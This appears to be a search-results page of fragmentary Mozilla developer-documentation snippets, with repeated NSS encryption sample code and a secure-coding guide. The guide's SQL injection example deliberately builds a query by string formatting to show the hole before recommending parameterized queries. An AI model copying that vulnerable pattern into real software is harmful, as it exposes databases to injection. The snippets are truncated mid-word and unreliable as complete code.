free...
...encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; fi...
...cpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data
from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) ...
...And 13 more matches
Encrypt and decrypt MAC using token
pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
free...
...encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; fi...
...cpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data
from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) ...
...And 13 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
free...
...encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; fi...
...cpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data
from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) ...
...And 13 more matches
ssltyp.html
when you call cert_destroycertificate, the function decrements the reference count and, if the reference count reaches zero as a result,
frees the memory.
... to
free a structure pointed to by a secitem, and, if desired, the secitem structure itself, use one the functions secitem_
freeitem or secitem_z
freeitem.
...when you call seckey_destroyprivatekey, the function both
frees the memory and sets all the bits to zero.
...And 13 more matches
Exact Stack Rooting
introduction this guide explains the basics of interacting with the gc
from spidermonkey.
...the private field is
frequently used to store things that are not gcpointers, so the gc cannot automatically handle this slot.
... this means it must be manually traced by the object's owner: this is both
fragile and more expensive than using an extra reserved slot, or even just putting a new property on the object.
...And 13 more matches
Garbage collection
in other words,
from the point of view of the rest of the engine, the job of the gc is to allocate cells and automatically collect them.
... objects
from the same zone but different compartments can share an arena.
... objects
from different zones cannot be stored in the same arena.
...And 13 more matches
Secure Development Guidelines
ic security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack
frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existin...
...n could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input doesn’t have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document
from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking...
...n the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data
from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select *
from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of ...
...And 13 more matches
nsICachingChannel
inherits
from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins).
...method overview boolean is
fromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file.
...holding a reference to this key does not prevent the cached data
from being removed.
...And 13 more matches
Drawing and Event Handling - Plugins
a windowless plug-in draws itself only in response to a paint message
from the browser.
... npn_invalidaterect: invalidate an area in a windowless plug-in before repainting or re
freshing.
... npn_invalidateregion: invalidate a region in a windowless plug-in before repainting or re
freshing.
...And 13 more matches
Plug-in Basics - Plugins
plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range
from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data
from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom
from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...notice in view-source that this information is simply gathered
from the javascript.
...And 13 more matches
Network request list - Firefox Developer Tools
network request columns you can toggle columns on and off by right-clicking on the table header and choosing the specific column
from the context menu.
...you can reset the sort to the default by selecting "reset sorting"
from the context menu.
... if the resource was fetched
from a service worker cache, then this cell displays "service worker".
...And 13 more matches
Intensive JavaScript - Firefox Developer Tools
you can use the
frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention.
...the first is to split long-running functions into pieces and use requestanimation
frame to schedule each piece, and the second is to run the whole function in a separate thread using a web worker.
... there's also a video version of this walkthrough: the demo website looks like this: it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimation
frame(), or in another thread using a worker.
...And 13 more matches
Manipulating video using canvas - Web APIs
#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away
from this are: this document establishes two canvas elements, with the ids c1 and c2.
... canvas c1 is used to display the current
frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the video.
... the javascript code is imported
from a script named processor.js.
...And 13 more matches
Using images - Web APIs
htmlvideoelement using an html <video> element as your image source grabs the current
frame
from the video and uses it as an image.
... using images
from the same page we can obtain a reference to images on the same page as the canvas by using one of: the document.images collection the document.getelementsbytagname() method if you know the id of the specific image you wish to use, you can use document.getelementbyid() to retrieve that specific image using images
from other domains using the crossorigin attribute of an <img> element (reflected by the htmlimageelement.crossorigin property), you can request permission to load an image
from another domain for use in your call to drawimage().
... creating an image
from scratch another option is to create new htmlimageelement objects in our script.
...And 13 more matches
HTMLMediaElement - Web APIs
="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its ancestors htmlelement, element, node, and eventtarget.
... htmlmediaelement.moz
fragmentend is a double that provides access to the
fragment end time if the media element has a
fragment uri for currentsrc, otherwise it is equal to the media duration.
... htmlmediaelement.moz
framebufferlength is a unsigned long that indicates the number of samples that will be returned in the
framebuffer of each mozaudioavailable event.
...And 13 more matches
Storage Access API - Web APIs
the api provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage
from the user agent.
...these restrictions range
from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.
... the semantics around third-party cookie blocking policies in particular differ
from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context.
...And 13 more matches
Starting up and shutting down a WebXR session - Web APIs
your document needs to either have been loaded
from the local drive (such as by using an url such as http://localhost/...), or using https when loading the page.
... webxrpolyfill = new webxrpolyfill(); } tempxr = navigator.xr; break; case "yes": webxrpolyfill = new webxrpolyfill(); tempxr = navigator.xr; break; case "no": default: tempxr = navigator.xr; break; } return tempxr; } const xr = getxr("no"); // get the native xrsystem object const xr = getxr("yes"); // always returns an xrsystem
from the polyfill const xr = getxr("if-needed"); // use the polyfill only if navigator.xr missing the returned xrsystem object can then be used according to the documentation provided here on mdn.
...finally, you must call requestsession()
from a user event handler, such as the handler for the click event.
...And 13 more matches
window.location - Web APIs
location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page
from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dial...
...nunc eget elit eget velit pulvinar
fringilla consectetur aliquam purus.
...donec lacus risus, dignissim et
fringilla et, egestas vel eros.
...And 13 more matches
Using CSS gradients - CSS: Cascading Style Sheets
<div class="simple-linear"></div> div { width: 120px; height: 120px; } .simple-linear { background: linear-gradient(blue, pink); } changing the direction by default, linear gradients run
from top to bottom.
... <div class="horizontal-gradient"></div> div { width: 120px; height: 120px; } .horizontal-gradient { background: linear-gradient(to right, blue, pink); } diagonal gradients you can even make the gradient run diagonally,
from corner to corner.
...in this example, the colors share a color stop at the 50% mark, halfway through the gradient: <div class="striped"></div> div { width: 120px; height: 120px; } .striped { background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%); } gradient hints by default, the gradient transitions evenly
from one color to the next.
...And 13 more matches
import - JavaScript
syntax import defaultexport
from "module-name"; import * as name
from "module-name"; import { export1 }
from "module-name"; import { export1 as alias1 }
from "module-name"; import { export1 , export2 }
from "module-name"; import { foo , bar }
from "module-name/path/to/specific/un-exported/file"; import { export1 , export2 as alias2 , [...] }
from "module-name"; import defaultexport, { export1 [ , [...] ] }
from "module-name"; ...
...import defaultexport, * as name
from "module-name"; import "module-name"; var promise = import("module-name"); defaultexport name that will refer to the default export
from the module.
... module-name the module to import
from.
...And 13 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
that means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web audio api
from the user's perspective, a web page or app that spontaneously starts making noise without warning can be jarring, inconvenient, or off-putting.
...lay availability as a general rule, you can assume that media will be allowed to autoplay only if at least one of the following is true: the audio is muted or its volume is set to 0 the user has interacted with the site (by clicking, tapping, pressing keys, etc.) if the site has been whitelisted; this may happen either automatically if the browser determines that the user engages with media
frequently, or manually through preferences or other user interface features if the autoplay feature policy is used to grant autoplay support to an <i
frame> and its document.
...the exact situations that result in blocking, and the specifics of how sites become whitelisted vary
from browser to browser, but the above are good guidelines to go by.
...And 13 more matches
context-menu - Archive of obsolete content
likewise, any items that were previously in the menu but are not bound to the current context are automatically removed
from the menu.
... you never need to manually remove your items
from the menu unless you want them to never appear again.
...if the total number of menu items in the main context menu
from all add-ons exceeds a certain number (normally 10 but configurable with the extensions.addon-sdk.context-menu.overflowthreshold preference) all of the menu items will instead appear in an overflow menu to avoid making the context menu too large.
...And 12 more matches
dev/panel - Archive of obsolete content
when the panel's created, the
framework passes it a debuggee: this is a messageport object that you can use to exchange json messages with the browser that the developer tools are currently debugging.
... basic usage defining the panel constructor to add a new tool you first need to define a constructor that inherits
from the panel class, and in that constructor you need to supply values for various properties .
... you can set the constructor up manually if you like, or you can use the add-on sdk core/heritage module to simplify the mechanics of inheriting
from panel.
...And 12 more matches
Finding window handles - Archive of obsolete content
when working on windows platforms, many apis and
frameworks require a window handle (hwnd type).
...this code can be used
from external application or
from an xpcom component within an extension.
... // that child is hopefully the content window if (htemp) { htemp = ::getwindow(htemp, gw_child); hcontent = ::findwindowex(htemp, 0, "mozillacontentwindowclass", 0); } } // at this point hcontent is null or the content window hwnd i am not sure how "
fragile" the assumptions are about the window structure, but it matched the values i got
from spy++.
...And 12 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
if you look at the
frames it loads, those will usually be chrome documents as well.
... however, if the document is loaded into <i
frame type="content"> or <browser type="content">, it will be considered a content document, and so will be all the
frames it loads (the "type" attribute is ignored at that point).
... so if we look at the
frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply.
...And 12 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
many add-ons need to dynamically generate dom content, either xul or html,
from their scripts.
... if (array.isarray(elemnameorarray)) { var
frag = doc.createdocument
fragment(); array.foreach(arguments, function(thiselem) {
frag.appendchild(tag.apply(null, thiselem)); }); return
frag; } // single element?
...ext: "test button tooltip", removable: true, key: "mytestbutton123" }, [ "menupopup", { onpopupshowing: function(event) { addentrytopopup(this, document, window); } }, null ] ]; var capturednodes = {}; var toolbox = doc.getelementbyid("navigator-toolbox"); var palette = toolbox.palette; var dom
fragment = jsontodom(jsontemplatebtn, document, capturednodes); palette.appendchild(dom
fragment); alert("capturednodes contains any created nodes that have optionally been captured (for later convenient javascript access) by giving them a 'key' attribute; for example: " + capturednodes.mytestbutton123); another example this here is another example of using jsontodom but in the html scope, a comp...
...And 12 more matches
Adding preferences to an extension - Archive of obsolete content
please note that if you are using code
from this tutorial to add to an existing extension, you must uninstall and reinstall your extension to enable the preferences button for your extension in the add-ons list.
...: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("extensions.stockwatcher2."); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.re
freshinformation(); window.setinterval(this.re
freshinformation, 10*60*1000); } }, our object has two member variables.
... the first thing we need to do is get the currently configured stock symbol to watch
from the preferences.
...And 12 more matches
Modularization techniques - Archive of obsolete content
if a call to release() causes the reference count to hit zero, the object will generally
free itself.
... all mozilla interfaces inherit
from nsisupports.
... inheriting
from nsisupports allows any interface to be interrogated about other interfaces that its instance may support, and insures that reference counting facilities are always available.
...And 12 more matches
Content Panels - Archive of obsolete content
adding child panels there may be times when you want to have part of a document loaded
from a different page.
...another approach is to use the i
frame element, which works much like the html element of the same name.
...it has the advantage that it can be placed anywhere and the contents can be loaded
from a different file.
...And 12 more matches
XForms Input Element - Archive of obsolete content
mozilla extensions labelposition - only for boolean types: show the label before or after the checkbox (see below) type restrictions the input element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived
from these.
... representations the xforms input element can be represented by the following widgets for the spcified data types (or types derived
from these data types): text field - the default widget when no type is specified or the data is of type xsd:string (xhtml/xul) checkbox - used for xsd:boolean instance data.
...allows for
free-form data entry (xhtml/xul).
...And 12 more matches
How does the Internet work? - Learn web development
prerequisites: none, but we encourage you to read the article on setting project goals first objective: you will learn the basics of the technical in
frastructure of the web and the difference between internet and the web.
... summary the internet is the backbone of the web, the technical in
frastructure that makes the web possible.
...it began in the 1960s as a us-army-funded research project, then evolved into a public in
frastructure in the 1980s with the support of many public universities and private companies.
...And 12 more matches
Third-party APIs - Learn web development
let's look at a simple mapquest api example, and use it to illustrate how third-party apis differ
from browser apis.
... they are found on third-party servers browser apis are built into the browser — you can access them
from javascript immediately.
...to access them
from javascript you first need to connect to the api functionality and make it available on your page.
...And 12 more matches
Object building practice - Learn web development
previous overview: objects next in previous articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start
from.
...the finished example will look a little something like this: this example will make use of the canvas api for drawing the balls to the screen, and the requestanimation
frame api for animating the whole display — you don't need to have any previous knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more.
... next, we set constants called width and height, and the width and height of the canvas element (represented by the canvas.width and canvas.height properties) to equal the width and height of the browser viewport (the area that the webpage appears on — this can be gotten
from the window.innerwidth and window.innerheight properties).
...And 12 more matches
Object prototypes - Learn web development
previous overview: objects next prototypes are the mechanism by which javascript objects inherit features
from one another.
... javascript is often described as a prototype-based language — to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties
from.
... an object's prototype object may also have a prototype object, which it inherits methods and properties
from, and so on.
...And 12 more matches
Getting started with React - Learn web development
previous overview: client-side javascript
frameworks next in this article we will say hello to react.
...react is not a
framework – it's not even exclusive to the web.
...react and reactdom are often discussed in the same spaces as — and utilized to solve the same problems as — other true web development
frameworks.
...And 12 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascript
frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
...we'll take the tasks information
from the markup and store it in a todos array.
...find the <h2> heading with an id of list-heading and replace the hardcoded number of active and completed tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} items completed</h2> go to the app, and you should see the "2 out of 3 items completed" message as before, but this time the information is coming
from the todos array.
...And 12 more matches
Client-side tooling overview - Learn web development
from time to time, even the most experienced of web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling pipeline working before even touching a single line of application code.
... in these articles, we won’t answer every question about web tooling, but we will provide you with a useful starting point of understanding the fundamentals, which you can then build
from.
...if you jump on your favourite search engine and look for "
front-end developer tools" you're going to hit a huge spectrum of results ranging
from text editors, to browsers, to the type of pens you can use to take notes.
...And 12 more matches
Mozilla accessibility architecture
for example, they all expose an accessible name, or text representation, of each object, and they all use an enumerated integer value
from a finite list, to expose the role of an object.
...accessible tree contains only a subset of nodes
from the dom tree not all dom nodes are exposed through accessibility api toolkits -- only those objects deemed important by the developers of the toolkit.
...classes with "wrap" in the name, such as nstextaccessiblewrap and nsdocaccessiblewrap, inherit
from cross-platform classes of similar name without "wrap" in them.
...And 12 more matches
Limitations of chrome scripts
the fix is generally some variant of "do that in a
frame script loaded into the content process".
... this is one of a pair of articles: the other one lists limitations of
frame scripts.
...for example: whenever extensions try to access web content
from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content.
...And 12 more matches
Script security
like any web browser, gecko can load javascript
from untrusted and potentially hostile web pages and run it on the user's computer.
... the security model for web content is based on the same-origin policy, in which code gets full access to objects
from its origin but highly restricted access to objects
from a different origin.
... gecko has an additional problem, though: while its core is written in c++, the
front-end code is written in javascript.
...And 12 more matches
Localization content best practices
for example, suppose this string needs to be changed
from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
...this would waste everybody's time and create unnecessary
frustration: localizers have to translate strings that are destined to change, developers will need to use new ids later to update them.
...ideally, all strings landing in code should originate
from approved ux wire
frames, any copy review should be part of the initial stage of creating these wire
frames.
...And 12 more matches
NSS Memory allocation
when a plarenapool is
freed, all the arenas in that pool are put on an arena
free list.
... when nss attempts to allocate more memory for an arena pool, the plarenapool code attempts to use an arena
from its
free list, and only gets a new arena
from the heap if there are no arenas in the
free list that are large enough to satisfy the request.
...at the end of execution of a program, all the arenas in the
free list will appear to have been leaked.
...And 12 more matches
EncDecMAC using token object - sample 3
\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
freeitem(secparam, pr_true); } return ctx; } /* * common encryption a...
... } /* * encryptinit */ pk11context * encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filenam...
..._header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data
from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_...
...And 12 more matches
SpiderMonkey 1.8.7
migrating to spidermonkey 1.8.7 this covers migrating
from version 1.8.5.
... see the 1.8.5 release notes for information on migrating
from earlier versions.
... since this is a conservative collector, it will often find "garbage" addresses which can trigger warnings
from certain code analysis tools.
...And 12 more matches
Gecko Roles
role_menubar represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on mac os x)
from which menus are selected by the user.
... role_window represents the window
frame, which contains child objects such as a title bar, client, and other objects contained in a window.
... role_internal_
frame a sub-document.
...And 12 more matches
History Service Design
old history system was instead only storing first and last visit date, and a generic visits counter, creating some problem due to the impossibility to represent real history flow in a time
frame.
...each visit is associated with a favicon, to allow for better recognizability and groupable by common time
frames or domains.
... history views should allow to quickly find a page in a certain time
frame remembering only small details about it.
...And 12 more matches
Places Developer Guide
moveitem (afolderid, anewparentid, aindex) - move an item
from one folder to another.
...importing: importhtml
fromfile (nsilocalfile afile, boolean aisinitialimport) - this imports all the bookmarks in the specified file into the current bookmarks collection.
... note: the method importhtml
fromfiletofolder() method was removed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11).
...And 12 more matches
imgIDecoderObserver
1.0 66 introduced gecko 12.0 inherits
from: imgicontainerobserver last changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications.
... load notifications are fired as the image is loaded
from the network or filesystem.
...if imgidecoder::flag_sync_decode is passed to a function that triggers a decode, all notifications that can be generated
from the currently loaded data fire before the call returns.
...And 12 more matches
nsIOutputStream
inherits
from: nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... a blocking output stream may suspend the calling thread in order to satisfy a call to close(), flush(), write(), write
from(), or writesegments().
... method overview void close(); void flush(); boolean isnonblocking(); unsigned long write(in string abuf, in unsigned long acount); unsigned long write
from(in nsiinputstream a
fromstream, in unsigned long acount); unsigned long writesegments(in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount); native code only!
...And 12 more matches
nsIPromptService
inherits
from: nsisupports last changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in
front of the character that should be the access key for that button.
...all flags are defined as unsigned long constants and can be accessed as components.interfaces.nsipromptservice.flagname
from javascript and as nsipromptservice::flagname
from c++.
... constant value description button_title_ok 1 these flags are used to select standard labels
from the user's current locale.
...And 12 more matches
Debugger-API - Firefox Developer Tools
it operates on javascript objects, stack
frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized.
...cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee
from within the same thread, and then handle any needed communication themselves.
...this is not inherent in the api’s design, but simply that the self-hosting in
frastructure isn’t prepared for the kind of invasions the debugger api can perform.
...And 12 more matches
AbstractRange - Web APIs
endoffset read only an integer value indicating the offset, in characters,
from the beginning of the node's contents to the beginning of the range represented by the range object.
... startoffset read only an integer value indicating the offset, in characters,
from the beginning of the node's contents to the last character of the contents referred to by the range object.
...by defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed
from, or moved around within the dom tree—within reason.
...And 12 more matches
MediaDevices.getUserMedia() - Web APIs
here's a full example: { audio: true, video: { width: { min: 1024, ideal: 1280, max: 1920 }, height: { min: 576, ideal: 720, max: 1080 } } } an ideal value, when used, has gravity, which means that the browser will try to find the setting (and camera, if you have more than one), with the smallest fitness distance
from the ideal values given.
...for example, on mobile devices, the following will prefer the
front camera (if one is available) over the rear one: { audio: true, video: { facingmode: "user" } } to require the rear camera, use: { audio: true, video: { facingmode: { exact: "environment" } } } another non-number constraint is the deviceid constraint.
... if you have a deviceid
from mediadevices.enumeratedevices(), you can use it to request a specific device: { video: { deviceid: mypreferredcameradeviceid } } the above will return the camera you requested, or a different camera if that specific camera is no longer available.
...And 12 more matches
SVGSVGElement - Web APIs
t x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsvgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggraphicselement and also implements the ones
from svgzoomandpan, svgfittoviewbox, and windoweventhandlers.
... svgsvgelement.usecurrentview the initial view (i.e., before magnification and panning) of the current innermost svg document
fragment can be either the "standard" view, i.e., based on attributes on the <svg> element such as viewbox) or on a "custom" view (i.e., a hyperlink into a particular <view> or other element).
... svgsvgelement.currentview an svgviewspec defining the initial view (i.e., before magnification and panning) of the current innermost svg document
fragment.
...And 12 more matches
Web audio spatialization basics - Web APIs
think sounds flying over you, creeping up behind you, moving across in
front of you.
...libraries like three.js and a-
frame harness its potential when dealing with sound.
...when we move the boombox, the sound it produces changes accordingly, panning as it moves to the left or right of the room, or becoming quieter as it is moved away
from the user or is rotated so the speakers are facing away
from them, etc.
...And 12 more matches
jpm - Archive of obsolete content
download and install node.js
from nodejs.org.
... installing jpm globally npm install jpm --global depending on your setup, you might need to run this as an administrator: sudo npm install jpm --global installing jpm locally if you do not wish to, or are unable to, install jpm globally, you may instead install it locally: cd $home && npm install jpm to run jpm
